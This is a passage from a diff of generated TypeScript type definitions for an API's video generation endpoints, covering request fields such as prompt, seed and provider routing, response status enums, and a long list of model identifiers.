@description Whether to generate audio alongside the video. Defaults to the endpoint's generate_audio capability flag, false if not set. + * @example true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + /** + * @description Model id (fixed for this model-constrained schema) + * @type string + */ + model: OpenrouterPostVideosGoogleVeo31RequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern ^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider routing preferences (order, only, ignore) and provider-specific passthrough configuration Passthrough parameters allowed for this model: personGeneration, aspectRatio, negativePrompt, conditioningScale, enhancePrompt. + * @type object | undefined + */ + provider?: { + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: OpenrouterPostVideosGoogleVeo31RequestResolutionEnumKey + /** + * @description If specified, the generation will sample deterministically, such that repeated requests with the same seed and parameters should return the same result. Determinism is not guaranteed for all providers. + * @type integer | undefined + */ + seed?: number + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: OpenrouterPostVideosGoogleVeo31RequestSizeEnumKey + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * + * Format: `double` + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostVideosGoogleVeo31Options = { + body: OpenrouterPostVideosGoogleVeo31Body + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosGoogleVeo31Responses = { + '200': OpenrouterPostVideosGoogleVeo31Status200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosGoogleVeo31Response = + OpenrouterPostVideosGoogleVeo31Status200 + +export const openrouterPostVideosGoogleVeo31FastStatus200StatusEnum = { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', +} as const + +export type OpenrouterPostVideosGoogleVeo31FastStatus200StatusEnumKey = + (typeof openrouterPostVideosGoogleVeo31FastStatus200StatusEnum)[keyof typeof openrouterPostVideosGoogleVeo31FastStatus200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosGoogleVeo31FastStatus200 = { + error?: string + /** + * @description Unix timestamp in seconds when OpenRouter's stored copy of the outputs stops being available. Present only when that copy exists. + * @type integer | undefined + */ + expires_at?: number + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosGoogleVeo31FastStatus200StatusEnumKey + /** + * @description OpenRouter content URLs for each output. They need your API key in the `Authorization` header and keep working for as long as the output is available. + * @type array | undefined + */ + unsigned_urls?: string[] + /** + * @description Signed download URLs for OpenRouter's stored copy of each output, usable without an API key until `expires_at`. Anyone holding a URL can download that output until it expires, so treat it like a secret. Present only when the stored copy exists. + * @type array | undefined + */ + urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosGoogleVeo31FastRequestAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type OpenrouterPostVideosGoogleVeo31FastRequestAspectRatioEnumKey = + (typeof openrouterPostVideosGoogleVeo31FastRequestAspectRatioEnum)[keyof typeof openrouterPostVideosGoogleVeo31FastRequestAspectRatioEnum] + +export const openrouterPostVideosGoogleVeo31FastRequestDurationEnum = { + '4': 4, + '6': 6, + '8': 8, +} as const + +export type OpenrouterPostVideosGoogleVeo31FastRequestDurationEnumKey = + (typeof openrouterPostVideosGoogleVeo31FastRequestDurationEnum)[keyof typeof openrouterPostVideosGoogleVeo31FastRequestDurationEnum] + +export const openrouterPostVideosGoogleVeo31FastRequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 